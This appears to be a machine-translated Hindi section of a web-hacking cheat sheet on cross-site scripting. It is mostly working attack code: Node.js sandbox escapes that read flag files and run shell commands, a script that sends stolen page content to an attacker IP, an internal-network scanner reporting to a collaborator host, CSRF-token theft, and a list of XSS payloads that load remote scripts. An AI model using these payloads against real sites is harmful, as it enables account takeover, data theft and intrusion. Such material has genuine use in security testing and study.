यदि आपको पता चलता है कि आप 302 रीडायरेक्ट प्रतिक्रिया में हेडर्स इंजेक्ट कर सकते हैं, तो आप ब्राउज़र को विभिन्न JavaScript को क्रियान्वित करने का प्रयास कर सकते हैं। यह सरल नहीं है क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया बॉडी का व्याख्यान नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड अनर्थक है।
इस रिपोर्ट और इस एक में आप पढ़ सकते हैं कि आप कैसे लोकेशन हेडर के अंदर XSS पेलोड को जांचने और क्रियान्वित करने की अनुमति देने वाले कई प्रोटोकॉलों का परीक्षण कर सकते हैं।
पिछले जाने वाले प्रोटोकॉल: mailto://, //x:1/, ws://, wss://, खाली लोकेशन हेडर, resource://.
केवल अक्षर, संख्या और डॉट
यदि आप इस संकेत कर सकते हैं कि कॉलबैक जिसे जावास्क्रिप्ट क्रियान्वित करने जा रहा है उसे उन वर्णों तक सीमित करने के लिए। इस पोस्ट के इस खंड को पढ़ें इस व्यवहार का दुरुपयोग कैसे करें।
मान्य <script> सामग्री प्रकार जो XSS के लिए
(से यहाँ) यदि आप application/octet-stream जैसे सामग्री प्रकार के साथ एक स्क्रिप्ट लोड करने का प्रयास करते हैं, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(स्रोत से यहाँ) तो, कौन-कौन से प्रकार स्क्रिप्ट लोड करने के लिए संकेतित किए जा सकते हैं?
<scripttype="???"></script>
उत्तर है:
मॉड्यूल (डिफ़ॉल्ट, कुछ समझाने की आवश्यकता नहीं है)
वेबबंडल: वेब बंडल्स एक सुविधा है जिसके द्वारा आप डेटा (एचटीएमएल, सीएसएस, जेएस...) का एक समूह एक .wbn फ़ाइल में पैकेज कर सकते हैं।
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: आयात सिंटेक्स को सुधारने की अनुमति देता है।
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
यह व्यवहार इस लेख में उपयोग किया गया था ताकि एक पुस्तकालय को eval पर पुनर्मार्पित किया जा सके और इसे ट्रिगर किया जा सके।
speculationrules: यह सुविधा मुख्य रूप से प्री-रेंडरिंग द्वारा उत्पन्न कुछ समस्याओं का समाधान करने के लिए है। यह इस प्रकार काम करता है:
यदि पृष्ठ text/xml सामग्री प्रकार लौटा रहा है तो एक नेमस्पेस को संकेतित करना संभव है और अर्बिट्रेरी जेएस को क्रियाशील करना:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
विशेष प्रतिस्थापन पैटर्न
जब कुछ इस प्रकार का "कुछ {{टेम्पलेट}} डेटा".replace("{{टेम्पलेट}}", <उपयोगकर्ता_इनपुट>) उपयोग किया जाता है। हमलावार विशेष स्ट्रिंग प्रतिस्थापन का उपयोग कर सकता है कुछ सुरक्षा को छलने के लिए: "123 {{टेम्पलेट}} 456".replace("{{टेम्पलेट}}", JSON.stringify({"नाम": "$'$`alert(1)//"}))
उदाहरण के लिए इस लेखन में, इसका उपयोग किया गया था एक स्क्रिप्ट के भीतर एक JSON स्ट्रिंग को बचाने और विभिन्न कोड को क्रियाशील करने के लिए।
यदि आपके पास केवल उपयोग करने के लिए सीमित वर्ण सेट है, तो XSJail समस्याओं के लिए इन अन्य मान्य समाधानों की जांच करें:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
यदि सभी चीजें अपरिभाषित होती हैं पहले अविश्वसनीय कोड को निष्पादित करने से (जैसे कि इस लेख में) यह संभव है कि उपयोगी ऑब्जेक्ट्स "कुछ से कुछ" उत्पन्न किए जा सकते हैं ताकि अर्बिट्रे अविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सके:
import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
require तक पहुंचना अप्रत्यक्ष रूप से
इसके अनुसार मॉड्यूल्स को नोड.जेएस द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, जैसे:
इसलिए, अगर हम उस मॉड्यूल से एक और फ़ंक्शन को कॉल कर सकते हैं, तो उस फ़ंक्शन से require तक पहुँचने के लिए arguments.callee.caller.arguments[1] का उपयोग करना संभव है:
पिछले उदाहरण की तरह ही, त्रुटि हैंडलर का उपयोग करके मॉड्यूल का व्रैपर तक पहुंचना संभव है और require फ़ंक्शन प्राप्त करना है:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
यदि कुकी में HTTPOnly फ्लैग सेट है तो जावास्क्रिप्ट से कुकी तक पहुंच नहीं पाएंगे। लेकिन यदि आप भाग्यशाली हैं तो आपके पास इस सुरक्षा को दौर करने के कुछ तरीके हैं।
पृष्ठ सामग्री चुराना
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
आंतरिक आईपी पते खोजें
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
जब कोई डेटा पासवर्ड फील्ड में दर्ज किया जाता है, तो उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड हमलावर के सर्वर पर भेजा जाता है, यदि उपयोगकर्ता कोई सहेजा हुआ पासवर्ड चुनता है और कुछ नहीं लिखता है तो पहुंचाने की प्रक्रिया होगी।
आप मेटास्प्लॉइट भी उपयोग कर सकते हैं http_javascript_keylogger
CSRF टोकन चुराना
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - छिपी हुई सामग्री तक पहुंचें
From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
इसका उपयोग कुकी प्रतिबंध, XSS फ़िल्टर और बहुत कुछ द्वारा छलकरी करने के लिए करें!
इस तकनीक के बारे में अधिक जानकारी यहाँ: XSLT.
XSS में डायनामिक बनाई गई PDF
यदि एक वेब पृष्ठ उपयोगकर्ता नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप बॉट को धोखा देने की कोशिश कर सकते हैं जो PDF बना रहा है किसी अर्बिट्रे JS कोड को क्रियान्वित करने में।
तो, अगर PDF निर्माता बॉट कोई प्रकार के HTMLटैग पाता है, तो वह उन्हें व्याख्या करेगा, और आप इस व्यवहार का दुरुपयोग कर सकते हैं जिससे एक सर्वर XSS का कारण बन सकता है।
AMP, जो मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेजी से बढ़ाने का लक्ष्य रखता है, HTML टैगों को जेएस के साथ पूरक करता है ताकि फ़ंक्शनैलिटी को सुनिश्चित किया जा सके जिसमें गति और सुरक्षा पर जोर दिया गया है। यह विभिन्न सुविधाओं के लिए विभिन्न घटकों का समर्थन करता है, जिनका उपयोग AMP components के माध्यम से किया जा सकता है।
AMP for Email प्रारूप विशिष्ट AMP घटकों को ईमेलों में विस्तारित करता है, जिससे प्राप्तकर्ताओं को अपने ईमेल के अंदर सीधे सामग्री के साथ बातचीत करने की संभावना होती है।